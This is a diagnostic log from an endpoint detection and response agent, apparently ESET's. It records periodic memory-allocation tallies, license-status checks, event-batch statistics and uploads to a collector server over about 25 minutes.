2026-03-04 03:08:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:08:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:08:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1736 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 565 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 540 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 225 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 58 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 21 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65953 KB;
2026-03-04 03:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2160 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 568 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 540 KB; TcpIpConnectionsManager: 537 KB; BaseEvent: 412 KB; BatchSerializer::EventsQueueTag: 109 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 42 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66668 KB;
2026-03-04 03:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2523 KB; BaseEvent: 590 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 550 KB; TcpIpConnectionsManager: 549 KB; ModuleMetadata: 540 KB; BatchSerializer::EventsQueueTag: 158 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 19 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67224 KB;
2026-03-04 03:11:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:07:37, To:, 2026-03-04 03:11:42, Duration (s):, 245, Events Per Second:, 16.880, Events:, 4137, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3450, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 686, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460419
2026-03-04 03:11:45 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s854ms.
2026-03-04 03:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1421 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; ModuleMetadata: 540 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BaseEvent: 43 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; rules::ProcessConditionsCache: 14 KB; BatchSerializer::EventsQueueTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65422 KB;
2026-03-04 03:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1777 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; ModuleMetadata: 540 KB; rules::ProcessConditionsCache: 386 KB; BaseEvent: 211 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 54 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66368 KB;
2026-03-04 03:13:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:13:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:13:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:13:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2110 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 377 KB; rules::ProcessConditionsCache: 341 KB; ModuleInfoCache: 103 KB; BatchSerializer::EventsQueueTag: 98 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66834 KB;
2026-03-04 03:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2471 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; BaseEvent: 555 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 327 KB; BatchSerializer::EventsQueueTag: 145 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67411 KB;
2026-03-04 03:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2834 KB; BaseEvent: 731 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; ModuleMetadata: 542 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 315 KB; BatchSerializer::EventsQueueTag: 191 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67966 KB;
2026-03-04 03:15:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:11:41, To:, 2026-03-04 03:15:57, Duration (s):, 256, Events Per Second:, 16.022, Events:, 4116, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3398, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 2, Livegrid:, 2, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456134
2026-03-04 03:16:00 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s556ms.
2026-03-04 03:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1599 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; rules::ProcessConditionsCache: 298 KB; BaseEvent: 164 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 43 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65987 KB;
2026-03-04 03:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1966 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; BaseEvent: 340 KB; rules::ProcessConditionsCache: 291 KB; ModuleInfoCache: 103 KB; BatchSerializer::EventsQueueTag: 90 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66580 KB;
2026-03-04 03:18:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:18:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:18:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:18:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2326 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; BaseEvent: 520 KB; rules::ProcessConditionsCache: 272 KB; BatchSerializer::EventsQueueTag: 137 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67148 KB;
2026-03-04 03:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2686 KB; BaseEvent: 696 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; TcpIpConnectionsManager: 527 KB; rules::ProcessConditionsCache: 247 KB; BatchSerializer::EventsQueueTag: 182 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67698 KB;
2026-03-04 03:20:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:15:57, To:, 2026-03-04 03:20:10, Duration (s):, 253, Events Per Second:, 16.290, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3409, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457943
2026-03-04 03:20:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 03:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1530 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 240 KB; BaseEvent: 137 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 36 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65824 KB;
2026-03-04 03:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1862 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 298 KB; rules::ProcessConditionsCache: 185 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 79 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66303 KB;
2026-03-04 03:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2225 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; TcpIpConnectionsManager: 511 KB; BaseEvent: 475 KB; rules::ProcessConditionsCache: 179 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66882 KB;
2026-03-04 03:23:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:23:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:23:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:23:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2587 KB; BaseEvent: 655 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; TcpIpConnectionsManager: 511 KB; BatchSerializer::EventsQueueTag: 172 KB; rules::ProcessConditionsCache: 167 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67465 KB;
2026-03-04 03:24:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:20:09, To:, 2026-03-04 03:24:26, Duration (s):, 257, Events Per Second:, 16.057, Events:, 4127, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460349
2026-03-04 03:24:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s409ms.
2026-03-04 03:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1465 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; rules::ProcessConditionsCache: 176 KB; ModuleInfoCache: 103 KB; BaseEvent: 90 KB; CacheEntry: 87 KB; cloudutils::CloudData: 37 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65661 KB;
2026-03-04 03:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1835 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; BaseEvent: 268 KB; rules::ProcessConditionsCache: 165 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 72 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66249 KB;
2026-03-04 03:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2194 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; BaseEvent: 447 KB; rules::ProcessConditionsCache: 138 KB; BatchSerializer::EventsQueueTag: 117 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66808 KB;
2026-03-04 03:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2552 KB; BaseEvent: 623 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; BatchSerializer::EventsQueueTag: 164 KB; rules::ProcessConditionsCache: 118 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67349 KB;
2026-03-04 03:28:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:28:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:28:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:28:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:28:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:24:25, To:, 2026-03-04 03:28:33, Duration (s):, 248, Events Per Second:, 16.494, Events:, 4107, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3394, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458239
2026-03-04 03:28:36 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s636ms.
2026-03-04 03:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1402 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 524 KB; ModuleInfoCache: 103 KB; rules::ProcessConditionsCache: 103 KB; CacheEntry: 87 KB; BaseEvent: 58 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65464 KB;
2026-03-04 03:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1763 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 526 KB; BaseEvent: 238 KB; ModuleInfoCache: 103 KB; rules::ProcessConditionsCache: 97 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 63 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66049 KB;
2026-03-04 03:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2129 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 526 KB; BaseEvent: 416 KB; BatchSerializer::EventsQueueTag: 109 KB; ModuleInfoCache: 103 KB; rules::ProcessConditionsCache: 99 KB; CacheEntry: 87 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66642 KB;
2026-03-04 03:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2488 KB; BaseEvent: 592 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 524 KB; BatchSerializer::EventsQueueTag: 156 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 85 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67208 KB;
2026-03-04 03:32:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:28:33, To:, 2026-03-04 03:32:46, Duration (s):, 253, Events Per Second:, 16.240, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3396, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 718, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457999
